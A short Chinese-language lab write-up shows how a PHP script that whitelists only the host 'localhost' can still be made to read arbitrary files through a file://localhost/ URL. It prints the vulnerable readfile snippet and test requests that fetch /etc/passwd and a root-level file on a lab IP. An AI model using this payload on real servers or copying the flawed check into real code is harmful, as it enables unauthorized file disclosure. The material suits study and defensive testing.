目标在请求API或做忘了访问的过程中,可能对Host名进行白名单验证,比如限制只能请求域名是localhost的本地API接口。 如果这次请求没有限制URL的协议,我们可以通过file://localhost/etc/passwd的方式来读取任意文件。
    测试环境
    PHP 5.4.16+Centos7

    1. <?php
    2. $url = $_GET['url'];
    3. $parts = parse_url($url);
    4. if(empty($parts['host']) || $parts['host'] != 'localhost') {
    5. exit('error');
    6. }
    7. readfile($url);

    这里没有检验协议导致可以读取任意文件

    1. http://192.168.243.135/test/ll.php?url=file://localhost/etc/passwd

    image.png
    读取根目录下的1.txt
    image.png

    1. http://192.168.243.135/test/ll.php?url=file://localhost/1.txt

    image.png
    读取成功